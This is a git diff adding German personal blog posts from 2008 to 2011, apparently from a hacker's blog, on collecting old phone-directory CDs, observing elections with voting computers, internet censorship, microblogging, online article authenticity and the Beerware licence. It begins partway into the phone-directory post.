20Die Recherche erbrachte interessanterweise noch andere Interessenten an den Scheiben, naemlich [Hobby-Ahnenforscher](http://home.bawue.de/~hanacek/info/edatbase.htm). Und dort fand ich dann endlich den Schluessel fuer die noch fehlenden Telefonbuecher: Bibliotheken. Auch, wenn natuerlich keine der oeffentlichen Bibliotheken antike Telefonbuch-CDs rumliegen hat, kann man sich ueber das [Konzept der Fernleihe](https://www.voebb.de/) alle deutschlandweit verfuegbaren Exemplare zukommen lassen. Und nachdem ich auch noch in das Erlernen des Unterschieds zwischen Staats- und oeffentlichen Bibliotheken 25 Euro investieren durfte, befinden sich nunmehr alle Silberscheiben auf dem direkten Wege zu mir.
21
22Ein Hurra auf ein Land, das Literatur nicht einfach verbrennt oder irgendwo vergammeln laesst, sondern fein saeuberlich aufbewahrt. Und ein verstaendnisloses Dreinstieren, wenn man den Fakt bedenkt, dass nun vier fragile Plastedatentraeger mit ein paar Megabyte historischer Informationen durch Deutschland gekarrt werden, wo es doch nun sogar fuer elektronische Medien eine [digitale Ausleihe](http://www.voebb24.de/) gibt.
23
24Zugegeben, der Umstand, dass man dort die elektronischen Werke "ausleihen" und "zurueckgeben" muss und dass jeweils nur ein "Exemplar" "ausgeliehen" werden kann, macht einen nachdenken. Fuer meinen Fall spielt das aber leider keine Rolle.
25
26Fuer meine werte Leserschaft nun noch die – in Saisonhinsicht relativ vollstaendige – Liste der bei mir verfuegbaren Ausgaben. Aufgefuehrt, damit Hacker mit aehnlichem Hobby auf der google-Suche vielleicht hier vorbeikommen und sich die Recherchearbeit sparen. Auch eventuelle Sachspender koennen hier ueberpruefen, ob ihre zuhause verstaubende CD noch nutzbringend Anwendung finden kann. Ueber die 4 CDs von 1996 bis Fruehjahr 1998 wuerde ich mich natuerlich immernoch freuen, da ein kurzfristiger Blick auf die Bibliotheksversion lange nicht so spannend ist, wie der Besitz des Originals. Ansonsten sind die "Map&amp;Route"-Versionen der Telefonbuecher immer gerne genommen, weil auf denen Geokoordinaten Hausnummern- statt Strassen-genau mitgeliefert werden.
27
28In der Tabelle steht links D2 fuer DVD, Stand Februar und C9 fuer CD, Stand September des jeweiligen Jahres. I bedeutet, dass ich ein ISO oder einen Dump des Datenverzeichnisses habe, Minus heißt, daß ich die CD nicht habe. Kommata im Namen wurden an Zeilenumbruechen auf dem CD/DVD-Cover eingefuegt, Punkte verbatim kopiert und bei "DasTelefonbuch" habe ich kein Space vergessen, das heisst seit Herbst 2003 wirklich so.
29
30<p><center>
31<table border="1px dotted" style="border: 1px dotted;"><tr><td style="background: lime">Vor Ort, M&amp;R</td><td style="background: yellow">Vor Ort, ohne M&amp;R</td><td style="background: cyan">Nur Image</td><td style="background: magenta">Fehlt</td><td>Redundant</td></tr></table>
32<table border="1px dotted;" style="font-size: 0.87em; border: 1px dotted;">
33<tr style="background: cyan"><td>I4/5/6</td><td><a href="http://trade.mar.cx/DE1179788">Teleauskunft 1188 Telefon-Teilnehmer Gesamtausgabe</a><br/>Deutsche Postreklame, (Dataware) 1992</td><td>?</td></tr>
34<tr style="background: cyan"><td>I10</td><td>Teleauskunft 1188 Telefon-Teilnehmer, Oktober 1995</td><td>?</td></tr>
35<tr style="background: cyan"><td>I1</td><td>Telefon-Teilnehmer Gesamtausgabe, Januar 1996</td><td>3-931424-01-4</td></tr>
36<tr style="background: cyan"><td>I2</td><td>Telefonbuch für Deutschland, Version 1.0 [1996]</td><td>3-931424-09-X</td></tr>
37<tr style="background: cyan"><td>I2</td><td>Telefonbuch für Deutschland, Frühjahr 1997</td><td>3-931424-37-5</td></tr>
38<tr style="background: yellow"><td>C8</td><td><a href="http://www.amazon.de/Telefonbuch-für-Deutschland-Herbst-1997/dp/3931424456/ref=sr_1_1?ie=UTF8&amp;qid=1389823198&amp;sr=8-1&amp;keywords=3931424456">Telefonbuch für Deutschland, Herbst 1997</a></td><td>3-931424-45-6</td></tr>
39<tr style="background: cyan"><td>I1</td><td>Telefonbuch für Deutschland, Frühjahr 1998</td><td>3-931424-50-2</td></tr>
40<tr><td>C8</td><td>Telefonbuch für Deutschland, Herbst 1998</td><td>3-931424-60-2</td></tr>
41<tr style="background: lime"><td>C8</td><td>Telefonbuch für Deutschland Map &amp; Route, Herbst 1998</td><td>3-931424-65-0</td></tr>
42<tr style="background: yellow"><td>C1</td><td>Telefonbuch für Deutschland, Frühjahr1999</td><td>3-931424-67-7</td></tr>
43<tr style="background: yellow"><td>C9</td><td>Das Telefonbuch. Für Deutschland, Herbst 1999</td><td>3-931424-74-X</td></tr>
44<tr style="background: yellow"><td>C2</td><td>Das Telefonbuch. Für Deutschland, Frühjahr 2000</td><td>3-931424-80-4</td></tr>
45<tr style="background: yellow"><td>C8</td><td>Das Telefonbuch. Für Deutschland, Herbst 2000</td><td>3-931424-89-8</td></tr>
46<tr style="background: yellow"><td>C2</td><td>Das Telefonbuch. Für Deutschland, Frühjahr 2001</td><td>3-931424-98-7</td></tr>
47<tr style="background: yellow"><td>C5</td><td>Das Telefonbuch. Für Deutschland, Sommer 2001</td><td>?</td></tr>
48<tr><td>C8</td><td>Das Telefonbuch. Für Deutschland, Herbst 2001</td><td>3-934073-04-2</td></tr>
49<tr style="background: lime"><td>C8</td><td>Das Telefonbuch. Map&amp;Route. Für Deutschland, Herbst 2001</td><td>3-934073-05-0</td></tr>
50<tr style="background: cyan"><td>I11</td><td><a href="http://www.ebay.de/itm/Das-Telefonbuch-Fuer-Deutschland-Winter-2001-OVP-/350904421616?nma=true&amp;si=iBTnaInGMwVW2nBBrZ2hzfDIvCk%253D&amp;orig_cvip=true&amp;rt=nc&amp;_trksid=p2047675.l2557">Das Telefonbuch. Für Deutschland, Winter 2001</a></td><td>?</td></tr>
51<tr style="background: yellow"><td>C2</td><td>Das Telefonbuch. Für Deutschland, Frühjahr 2002</td><td>3-934073-14-X</td></tr>
52<tr style="background: lime"><td>D8</td><td>Das Telefonbuch und Gelbe Seiten. Map&amp;Route. Herbst 2002</td><td>3-934073-26-3</td></tr>
53<tr style="background: lime"><td>D2</td><td>Das Telefonbuch und Gelbe Seiten. Map&amp;Route. Frühjahr 2003</td><td>3-934073-30-1</td></tr>
54<tr style="background: yellow"><td>C8</td><td>DasTelefonbuch, Deutschland, Herbst 2003</td><td>3-934073-36-0</td></tr>
55<tr style="background: lime"><td>C2</td><td>DasTelefonbuch, Map&amp;Route, Frühjahr 2004</td><td>3-934073-44-1</td></tr>
56<tr style="background: lime"><td>C8</td><td>DasTelefonbuch, Map&amp;Route, Herbst 2004</td><td>3-934073-52-2</td></tr>
57<tr style="background: lime"><td>C2</td><td>DasTelefonbuch, Map&amp;Route, Frühjahr 2005</td><td>3-934073-61-1</td></tr>
58<tr style="background: lime"><td>D2</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Frühjahr 2005</td><td>3-934073-64-6</td></tr>
59<tr><td>C8</td><td>DasTelefonbuch, Deutschland, Herbst 2005</td><td>3-934073-68-9</td></tr>
60<tr style="background: lime"><td>C8</td><td>DasTelefonbuch, Map&amp;Route, Herbst 2005</td><td>3-934073-69-7</td></tr>
61<tr><td>C2</td><td>DasTelefonbuch, Deutschland, Frühjahr 2006</td><td>3-934073-75-1</td></tr>
62<tr style="background: lime"><td>D2</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Frühjahr 2006</td><td>3-934073-79-4</td></tr>
63<tr style="background: yellow"><td>C8</td><td>DasTelefonbuch, Deutschland, Herbst 2006</td><td>3-938913-01-0</td></tr>
64<tr><td>C2</td><td>DasTelefonbuch, Deutschland, Frühjahr 2007</td><td>3-938913-08-6</td></tr>
65<tr style="background: lime"><td>D2</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Frühjahr 2007</td><td>3-938913-10-9</td></tr>
66<tr style="background: lime"><td>D8</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Herbst 2007</td><td>3-938913-18-5</td></tr>
67<tr style="background: lime"><td>D2</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Frühjahr 2008</td><td>3-938913-23-9</td></tr>
68<tr><td>C8</td><td>DasTelefonbuch, Deutschland, Alles in einem, Herbst 2008</td><td>3-938913-27-7</td></tr>
69<tr style="background: lime"><td>D8</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Herbst 2008</td><td>3-938913-29-1</td></tr>
70<tr style="background: lime"><td>D2</td><td>DasTelefonbuch, GelbeSeiten, Map&amp;Route, Frühjahr 2009</td><td>3-938913-37-6</td></tr>
71<tr style="background: lime"><td>D8</td><td>DasTelefonbuch, GelbeSeiten, Map&amp;Route, Herbst 2009</td><td>3-938913-43-7</td></tr>
72<tr style="background: lime"><td>I2</td><td>DasTelefonbuch, GelbeSeiten, Map&amp;Route, Frühjahr 2010</td><td>3-938913-47-9</td></tr>
73<tr><td>C9</td><td>DasTelefonbuch, Deutschland, Alles in einem, Herbst/Winter 2010/11</td><td>3-938913-50-5</td></tr>
74<tr style="background: lime"><td>D9</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Herbst/Winter 2010/11</td><td>3-938913-51-2</td></tr>
75<tr style="background: lime"><td>D3</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Frühjahr/Sommer 2011</td><td>3-938913-61-1</td></tr>
76<tr style="background: lime"><td>D9</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Herbst/Winter 2011/12</td><td>3-938913-68-0</td></tr>
77<tr style="background: lime"><td>D3</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Frühjahr/Sommer 2012</td><td>3-938913-71-0</td></tr>
78<tr style="background: lime"><td>D9</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Herbst/Winter 2012/13</td><td>3-938913-77-2</td></tr>
79<tr style="background: lime"><td>D3</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Frühjahr/Sommer 2013</td><td>3-938913-83-3</td></tr>
80<tr style="background: lime"><td>D9</td><td>DasTelefonbuch, Gelbe Seiten, Map&amp;Route, Herbst/Winter 2013/14</td><td>3-938913-89-5</td></tr>
81</table>
82</center>
diff --git a/blog/2008/Wahle_beobachte.md b/blog/2008/Wahle_beobachte.md
new file mode 100644
index 0000000..a783534
--- /dev/null
+++ b/blog/2008/Wahle_beobachte.md
@@ -0,0 +1,22 @@
1<!--
2.. date: 2008/02/07 19:27
3.. title: Wahle beobachte
4-->
5
6Ich bin einer von denen. Einer von diesen Stressern, die herumfahren und dabei zugucken, wie andere Leute Wahlen abhalten. Wahlen mit Wahlcomputern, um genau zu sein. Und sich das dann alles aufschreiben und stumm nicken oder murmeln oder mit dem Kopf schuetteln.
7
8Ich bin aber auch einer von denen, die dann im Namen des CCC an Pressemitteilungen schreiben und garstige Dinge ueber unsere Demokratie sagen. Und ueber die Wahlhelfer und die Ablaeufe und die Firmen, die versuchen, an der Wahl Geld zu verdienen.
9
10Zwischen diesen Persoenlichkeiten klafft eine Luecke. Wenn ich da draussen in fremden Doerfern im Rathaus stehe, oder vor Politikern, mit denen ich eigentlich nichts zu tun habe, dann faellt mir die Artikulation ploetzlich schwer. Dann stehe ich naemlich genau den Leuten gegenueber, die ich doch eigentlich meine.
11
12In dieser Konfrontation muss ich dann zu hoeflichen Floskeln greifen. Da stehe ich im Wahllokal vor den Wahlleitern. Dann muss ich Dinge sagen wie "natuerlich denke ich nicht, dass hier bei den Wahlen betrogen wird". Und das, wo ich doch eigentlich Dinge meine wie "Sie sind doch verdammt nochmal Beamter und haben einen Eid auf dieses Land geschworen und sollten sich darueber freuen, dass dieses Land Sie sicher und solide bezahlt und es sollte ihnen die zwei Stunden extra Auszaehlen wert sein."
13
14Und dann stehe ich vor den Lokalpolitikern. Und da muss ich auch Dinge sagen wie "natuerlich denke ich nicht, dass hier bei den Wahlen betrogen wird". Und das, wo ich doch eigentlich Dinge meine wie "Woher zum Geier soll ich wissen, dass Sie nicht betruegen. Ich kenne sie doch gar nicht. Und ich kenne auch keinen der Wahlvorstaende hier. Und Sie sind verdammt nochmal in der gluecklichen Lage, das Vertrauen Ihrer Waehler zu geniessen und die Verantwortung, die diese an Sie delegiert haben. Und Sie sollten diese Legitimation ueber jeden Zweifel erhaben auch in der Wahl gewonnen haben."
15
16Und dann sitze ich vor den Firmen, die den Gemeinden Wahlcomputer aller Coleur verkaufen wollen. Und dann sage so Dinge wie "Natuerlich denke ich nicht, dass ihre Wahlcomputer bei den Wahlen betruegen, aber..." Und das, wo ich doch eigentlich Dinge meine wie "Ihr wollt verdammt nochmal mit eurer Dilettantenhard- und software an der Demokratie verdienen. Und ihr werdet damit den Boesen Werkzeuge in die Hand geben, Wahlen zu ihrem Gunsten manipulieren zu koennen. Deswegen ist es eure Aufgabe, eine Transparenz herzustellen, die alle – und auch wirklich Alle – davon ueberzeugt, dass die Wahl demokratisch kein Rueckschritt ist."
17
18Und es ist – nicht! nein! – nicht so, dass ich mich darauf zurueckziehen moechte, Dinge zu sagen wie "Aber was, wenn spaeter einmal jemand kommt, der das mit der Demokratie nicht so genau nimmt." Weder den Wahlhelfern, noch den Politikern, noch den Firmen. Weil es so ist, DASS sie es mit der Demokratie nicht so genau nehmen, wenn sie in einer stillschweigenden Bequemlichkeitskonspiration Zeit gegen Geld eintauschen, das nicht ihr eigenes ist. Weil ich nicht den geringsten Grund habe, diesen Leuten dort heute mehr zu vertrauen, als potentiellen nachfolgenden Generationen von korrupten Politikern, Beamten oder Firmen. Weil die Zeitung schon heute voll ist mit Berichten ueber korrupte Politiker, Beamte und Firmen.
19
20Und dann sollte mich der gemuetliche Strickpulli und der Schnauzbart und die korrekte Brille meines Gegenuebers nicht davon abhalten, meine grundsaetzliche Distanz beizubehalten. Und meine Bescheidenheit sollte mich auch nicht davon abhalten, von den Damen und Herren die Mehrarbeit einzufordern, die eine wehrhafte Demokratie nun eben kostet und die im Kleinen anfaengt. Die dort beginnt, wo man der vielbeschworenen Verdrossenheit ein Zeichen entgegensetzt. Dass man es naemlich doch noch genau nimmt mit den Wahlen.
21
22Und ich sollte meinen dicksten Pullover anziehen und Euch das auch mal ins Gesicht sagen. Werd' ich aber nicht machen. Aber ich werde mich natuerlich wieder als Wahlhelfer melden.
diff --git a/blog/2009/Der_Zensurbegriff.md b/blog/2009/Der_Zensurbegriff.md
new file mode 100644
index 0000000..3406ae0
--- /dev/null
+++ b/blog/2009/Der_Zensurbegriff.md
@@ -0,0 +1,20 @@
1<!--
2.. date: 2009/07/09 18:40
3.. title: Der Zensurbegriff
4-->
5
6Zwischenfrage: Ede in Singsing bekommt ja seine Briefe immer erst, nachdem Karl-Heinz Redlich einen kurzen Blick dreingeworfen hat, Bedenkliches geschwaerzt und Kassiber komplett kassiert hat. Wie heisst die Taetigkeit, die Kalle dort ausuebt?
7
8Nun stelle man sich mal vor, man saesse gar nicht ein, aber trotzdem gaebe es da einen Kalle, den man fuer jedes bisschen Text, das man lesen oder schreiben wollte, vorher fragen muesste. Der wuerde dann in einem dicken Katalog waelzen, ob das seine Ordnung haette. Und wenn er keine Bedenken haette, duerfte man die Information konsumieren oder niederlegen. Richtig: Auch das ist Zensur.
9
10In letzter Zeit hoeren wir, auch von eigentlich gebildeten Menschen, dass die Web-Sperren keine Zensur seien. So argumentierte Heinrich Wefing in der aktuellen Zeit, dass das "Eine Zensur findet nicht statt" aus dem Grundgesetz ja im Konsens als "eine Vorzensur findet nicht statt" ausgelegt werden muesse. Somit sei das Ausfiltern einmal als unrecht erkannten Materials keine Zensur mehr.
11
12Meines Erachtens nach war dieser Konsens jedoch eine blosse Verneigung vor der Realitaet, dass es bis dato technisch schlicht unmoeglich gewesen ist, auf der Konsumentenseite mit der Zensur anzusetzen. Die Moeglichkeit, Druckwerke in grosser Zahl zu verfielfaeltigen, war einigen grossen Spielern vorbehalten, die im Zweifel zusammengerufen und kontrolliert werden konnten. Man konnte frei publizieren und konnte als Verantwortlicher fuer Druckerzeugnisse, die strafrechtliche Konsequenzen nach sich zogen, belangt werden.
13
14Neu ist, dass nun nicht mehr die Publikation, sondern die Rezeption jedes Werks im Internet ueberwacht und im Zweifel zensiert oder gar sanktioniert werden soll. Im Netz muss man fuer foermlich jedes Informationszipfelchen die Nameserverinfrastruktur bemuehen. Pro geklickter Webseite koennen das schnell mehrere dutzend Anfragen sein. Und genau bei den Nameservern setzt das Gesetz eine Armada von Kalles an seinen individuellen Index Librorum Prohibitorum.
15
16Man kann sich die Tragweite dieser Massnahme in die reale Welt uebertragen kaum vorstellen. In allen Bibliotheken und Buchhandlungen muesste man mit dem Buch, das man gerade kaufen moechte, noch vor der Kasse bei Kalle vorbei und haette mit Sanktionen zu rechnen, hielte man das falsche Buch in der Hand. Doch die Analogie fuer das Netz-Sinnesorgan "Browser" ist hier noch zu duerftig: Allein das Betrachten von Buechern im Schaufenster der Buchhandlung, das kurzfristige Aufflackern eines Plakats an einer Litfasssaeule schon waere eigentlich einer Erlaubnis beduerftig.
17
18Nun ist das Zensurgesetz also um Magnituden monstroeser als alles, was bisher unter dem Begriff "Zensur" durch unsere Kulturgeschichte humpelte. In Ermangelung eines drastischeren Begriffs fuer dieses Ungetuem sei es jedoch erlaubt, vorerst den noch harmloseren Ausdruck zu verwenden.
19
20</div>
diff --git a/blog/2009/Medienschwemme.md b/blog/2009/Medienschwemme.md
new file mode 100644
index 0000000..bad785d
--- /dev/null
+++ b/blog/2009/Medienschwemme.md
@@ -0,0 +1,16 @@
1<!--
2.. date: 2009/04/06 20:56
3.. title: Medienschwemme
4-->
5
6Nun bin auch ich darauf reingefallen. Ich wollte es ja erst nicht wahrhaben und habe mich insgeheim bei anderen darueber aufgeregt. Oder zumindest lustig gemacht. Wenn die Eintraege in den Blogs immer kuerzer werden, oder ganz in die Mikroblogging-Welt verschwinden. Wenn die Beitraege fuer Printmedien immer spaerlicher werden, weil man ja nicht wisse, worueber man denn schreiben solle, aber gleichzeitig den kastrierte-Web-SMS-Service mit einer Publikation verwechselt.
7
8Es ist ja auch wirklich einlullend. Je mehr Accounts ich mir in dieser Netzwelt eingerichtet hatte, desto mehr schrien all diese Medien nach meiner Aufmerksamkeit und meinem Input. Damit sich auch keiner zu kurz gekommen fuehlt, der extra mein "Freund" geworden ist, um den Beitraegen in einem dieser Medien zu folgen, verknuepfte ich all diese Medien automatisiert. Dazu musste ich mich auf den kleinsten gemeinsamen Nenner einigen. Fuer elend geringe Werte von kleinst.
9
10Aus diesem Grunde aggregiert meine Suppe deswegen seit geraumer Zeit nur noch meine Twitternachrichten. Diesem Feed, den ich eigentlich nur zum Saufeinladungen verschicken und anzuegliche Herrenwitzchen machen eingerichtet hatte, folgen inzwischen ueber 270 Leute, von denen ich die wenigsten kenne. Was habe ich mir auch dabei gedacht, diese ganzen Mikro-Bloggingservices auszuprobieren, die fuer Leute sind, denen Bloggen mit vi zu anstrengend ist? Die Schwelle ist gering. Dass die Schwelle gering ist, ist aber nicht per se etwas Gutes. Ich kann von unterwegs mit meinem Phone bloggen. Prima. Fuer eine re:publica-wuerdige Definition von "Bloggen".
11
12Was nun das Schlimme ist: die Zeit, die ich den ganzen hippen "jetzt wirklich wirklich"-Diensten hinterhernerde, geht mir von der Zeit ab, die ich mir frueher fuers Texteschreiben genommen habe. Oder anders: 50 Tweets machen nur von der Zeichenzahl her einen Blogpost und sind genauso nahrhaft wie Gratisbonbons beim Gebrauchtwagenhaendler.
13
14Konsequenz: Twitter ist lokal. Suppe gibt's nur noch per /everyone. Eigenblog rockt!
15
16</div>
diff --git a/blog/2009/Papieraequivalente_Authentizitaet.md b/blog/2009/Papieraequivalente_Authentizitaet.md
new file mode 100644
index 0000000..d51ec86
--- /dev/null
+++ b/blog/2009/Papieraequivalente_Authentizitaet.md
@@ -0,0 +1,24 @@
1<!--
2.. date: 2009/07/01 22:43
3.. title: Papieraequivalente Authentizitaet
4-->
5
6Fuer den durchschnittlichen Bildungsbuerger sind <q>[memory holes](http://en.wikipedia.org/wiki/Memory_hole)</q> ein Haushaltsbegriff. In digitalen Medien geht das mit dem "schnell was unbehauptet machen" noch schneller. Binsenweisheit, ich weiss. Trotzdem eine kurze Veranschaulichung.
7
8Jedem Computerbesitzer, der schon einmal ein Bildbearbeitungsprogramm geoeffnet hat, sollten Nachrichten der Art, dass Filesharer anhand von Bildschirmausdrucken des p2p-Tools auf dem Rechner von Strafverfolgern – oder schlimmer gar: privater Rechteverwerter – Strafanzeigen kassiert haben, zumindest ein Stirnrunzeln hervorlocken.
9
10Verweise der Art "http://test.com/seite.html abgerufen am 24.12.1978" machen dann Sinn, wenn web.archive.org dort just zu diesem Tag vorbeigekommen ist und von der /robots.txt nicht ausgeladen wurde. So rechte Beweiskraft, eventuell gar im juristischen Sinne, duerfte aber auch web.archive.org nicht geniessen. Das auch, obwohl diese Quelle fuer mich plausibel genug als neutral gilt.
11
12Eine Nachricht im Papier-SPIEGEL kann ich auch Jahre spaeter noch als Quelle oder Beleg in Papierform aus meinem Keller wieder hervorkramen. Die Wahrscheinlichkeit, dass ich mir in der Druckerei meiner Wahl einen eigenen SPIEGEL gefaelscht habe, ist gering. Zur Not liegt ein Pflichtexemplar aller ernstzunehmenden Publikationen bei der Staatsbibliothek als Referenz.
13
14Anders bei SPIEGEL Online. Einige Autoren sind dafuer beruehmt, dutzende Revisionen eines Artikels in hoher Frequenz zu "updaten". Nachvollziehbar ist ja noch, dass sie – seit sie den Lektor abgeschafft haben – dauernd Rechtschreib- und Grammatikprobleme korrigieren muessen. Wir sehen aber in letzter Zeit den Trend, kommentarlos einst Behauptetes zu entfernen, Ueberschriften abzumildern oder zu verschaerfen. Andere Zeitungen ziehen gar ganze Artikel zurueck. Wenn man Glueck hat, findet man diese noch in seinem Browsercache. Den Beweis zu fuehren, dass dieses elektronische Dokument auch wirklich vom Server der Zeitung geladen wurde, wird dem Leser aber schwerfallen.
15
16Nun ist ja nachzuvollziehen, dass die (Online-)Magazine nicht ALLE Ausgaben umsonst ALLEN zur Zitatspruefung zur Verfuegung zu stellen wollen. Ich will aber dasselbe Mass an Nachvollziehbarkeit und Belegbarkeit von Veroeffentlichungen der sich selbst **ernst genug** nehmenden Medien! Und zwar im selben Sinne, wie ich das mit den Papierzeitschriften auch konnte. Ich komme deshalb nicht drumherum zu fordern, dass Pruefsummen aller Revisionen an einer oder mehreren unabhaengigen Stellen hinterlegt werden, gegen die ich als Leser und Zitator meine Kopie, aus der ich zitiere, belegen kann.
17
18Hier bieten sich natuerlich zuerst die Bibliotheken an, die Listen von signierten Pruefsummen vorhalten und bei Disput als autoritative Quelle zum Vergleich herhalten koennten. Diese Signaturen muessten alle teilnehmenden Publikationen leisten - und dass fuer jedes Update.
19
20Weiter sollen auch Bibliotheken selbst eigene Signaturen auf einzelne Zitate aus einer spezifischen (dann im Volltext vorgehaltenen) Revision eines Online-Artikels herausgeben. Um journalistische Standards zu unterstuetzen und einer breiten Masse an Schreibern das Zitieren zu ermoeglichen, muss dieser Zitatsdienst natuerlich kostenfrei zur Verfuegung stehen.
21
22Wie genau dies umgesetzt wird, werden viele schlauere Leute als ich gewiss ausbaldowern. Einzig: Das Wohlfuehlgefuel beim Lesen eines Online-Blattes (und dabei schliesse ich "Qualitaetsblogs" explizit mit ein) stellt sich erst ein, wenn nicht yesterdays news im digitalen memory hole verschwinden koennen.
23
24</div>
diff --git a/blog/2010/Weltumsegelung.md b/blog/2010/Weltumsegelung.md
new file mode 100644
index 0000000..e1575f3
--- /dev/null
+++ b/blog/2010/Weltumsegelung.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2010/02/19 11:40
3.. title: Weltumsegelung
4-->
5
6Unsere Generation hat es ja wirklich gut. Es bleibt noch abzuwarten, wie die Lebenserwartung unserer Nachfahren in Anbetracht des [Wandels der Ernährungsgewohnheiten](http://www.babble.com/CS/blogs/strollerderby/2008/12/23-End/FatKids.311155840_std.jpg) sich weiterentwickelt, ob die Allgemeinbildung in die [_vergeßliche Cloud_](http://www.pluspedia.de/index.php/L%C3%B6schh%C3%B6lle) outgesourced wird, mit was unsere Enkel bezahlen werden, wenn sich das mit dem Geld [als Irrweg herausgestellt hat](http://www.bbc.co.uk/dna/h2g2/A2163520), ob die religiösen Hetzer des Finanzextremismus, des Lebensanschauungshomogenismus und der bürgerlichen Zwangstransparenzmachung es schaffen, die Kohorten aufeinander loszuhetzen und natürlich, wie lange wir noch auf genügend [fermentierte Dinokäkel](http://artsdesignblog.com/wp-content/uploads/2008/03/michael-sowa-2d7.jpg "Michael Sowa: Ein Mythos verpufft") zurückgreifen können, um unsere privilegierten Gesäße auf transkontinentale Entdeckungsreisen jetten zu lassen.
7
8Und just dies habe ich mir vorgenommen, bevor das Benutzen des Luftraums nur noch wenigen Benzinhortern möglich sein wird: Eine empirische Untersuchung, ob [die Erde tatsächlich rund ist](http://www.stjosef.at/index.htm?dokumente/papst_galilei.htm~mainFrame). Dazu werde ich darauf achten, mich auch wirklich nur ostwärts zu bewegen und dabei Zwischenstops an den Orten der Welt machen, an denen ich strategisch gute Freunde stationiert habe. Natürlich ist die gesamte Reise komplett uneigennützig! Als [ausgewiesener Verehrer](http://erdgeist.org/stats/blog/pics/Maulhurpf.jpg) und [Förderer](http://erdgeist.org/Wohnung/CIMG0433.JPG) von [Krtek](http://www.mojvideo.com/video-krtek-in-raketa/81d5a081386189556eee) ist es meine Aufgabe, seine geopolitische Bildung voranzutreiben und [in Bildern zu dokumentieren](http://erdgeist.org/Tokio2/IMG_0310.JPG). Dazu nehme ich die Strapazen der Reise tapfer in Kauf.
9
10Der erste Reisebericht über die [überraschend kühle erste Station](http://twitter.com/erdgeist/status/9260720384) meiner Reise folgt.
diff --git a/blog/2011/Die_Beerware-Lizenz.md b/blog/2011/Die_Beerware-Lizenz.md
new file mode 100644
index 0000000..2490c4b
--- /dev/null
+++ b/blog/2011/Die_Beerware-Lizenz.md
@@ -0,0 +1,14 @@
1<!--
2.. date: 2011/09/05 02:11
3.. title: Die Beerware-Lizenz
4-->
5
6Ich schreibe ja schon seit einer geraumen Weile Software. Vieles von dem, was ich in [meinen Anfängertagen](http://der-walfisch.info/cll.html) schrieb, ist zum Glück vom gnädigen Gott der [verrottenden Bits](http://www.catb.org/~esr/jargon/html/B/bit-rot.html) [aus der Digitale gewaschen](http://news.bbc.co.uk/2/hi/entertainment/3940669.stm) worden. [Floppies](http://your-digital-life.com/preserve-your-images/blu-ray-discs/kids-technology-or-why-your-photos-will-disappear/) und Backupschludrian waren hier die Auslesewerkzeuge. Ein Segen, den die [Kids von heute](http://www.schattenbaum.net/php/echo.php) übrigens nicht mehr erfahren. Vieles, was gewiß nicht einmal das Licht der Öffentlichkeit erblicken hätte sollen, findet ja inzwischen [Produktiveinsatz](http://forum.wordpress-deutschland.org/plugins-und-widgets/60534-problem-mit-datumslokalisierung-einem-plugin-date_i18n.html). Damals, in meiner "guten alten Zeit" hätte der Verlust des Quellcodes aber nicht den Schaden bedeutet, den er heute so anrichtet. In der Szene, in der ich programmierte, lasen wir die Programme ja eh im Disassembly – eigene und die anderer Leute. Es kam dabei vor, daß ich mich über einige besonders umständliche Konstrukte wunderte, die ich in so analysierter Software vorfand, das Konzept von höheren Programmiersprachen und Compilern kam für mich überraschend. Programmierer fanden aber auch händisch Mittel und Wege, das Lesen des Codes mit dem Disassembler trickreich zu erschweren. Es war wichtig, sich auf Parties zusammenzufinden, mit den für [Demos](http://www.pouet.net/groups.php?which=1818) programmierten Effekten zu beeindrucken, sich beim Kaltgetränk über die Kniffe und Erfahrungen auzutauschen – und natürlich zu prahlen.
7
8Seitdem hat sich einiges geändert. Die meiste Software, mit der ich lesend und schreibend zu tun habe, ist inzwischen selbstverständlich im Quellcode verfügbar. An bestimmter Software darf man überhaupt nicht mehr entwickeln, [ohne die Quellen ebenfalls zu veröffentlichen](http://www.pycs.net/bbum/2004/3/4/). Zu manchem Projekt ist heutzutage Lizenzslalom ein signifikanter Anteil am Zeitbudget geworden. Ich finde das nicht gut. Kids sollten lieber ihre Skills im Programmieren verbessern, statt zu [Möchtegern-Lizenz-Anwälten](http://erdgeist.org/stats/blog/files/Beerware-Thread.txt) zu verkommen. Einige Entwicklungen sind auch auf der Festplatte besser aufgehoben als auf github oder sourceforge.
9
10An die Benutzung meiner [Open-Source-Software](http://erdgeist.org/arts/software/) stelle ich eigentlich nur zwei Bedingungen: Veröffentliche die nicht [unter deinem Namen](http://polpix.sueddeutsche.com/polopoly_fs/1.1065381.1298797140!/image/image.jpg_gen/derivatives/860x860/image.jpg), und wenn du brauchbar findest, was ich schrieb, dann triff dich mit mir zum Schwank auf ein [Bierchen](http://blog.andreas.org/display?id=12). In der Vergangenheit ist dies schon 1987 (laut eines [unbestätigten WP-Gerüchts](http://en.wikipedia.org/w/index.php?title=Beerware&oldid=5556008 "Beerware&oldid=5556008") angeblich von einem gewissen John Bristor) als [Beerware-Lizenz](http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Beerware) kodifiziert worden und wird von [Poul-Henning Kamp](http://www.freebsd.org/cgi/getmsg.cgi?fetch=506636+517178+/usr/local/www/db/text/1999/freebsd-hackers/19991003.freebsd-hackers) als einem der bekanntesten Vertreter der Autorenzunft bemüht. In der Vergangenheit hat mir diese Lizenz schon einige [feucht-fröhliche](http://torrentfreak.com/pirate-party-fulfills-opentrackers-beerware-license-081231/) und vor allem [gesprächsreiche Abende](http://opentracker.blog.h3q.com/2010/08/05/flattered-by-pirates/) beschert.
11
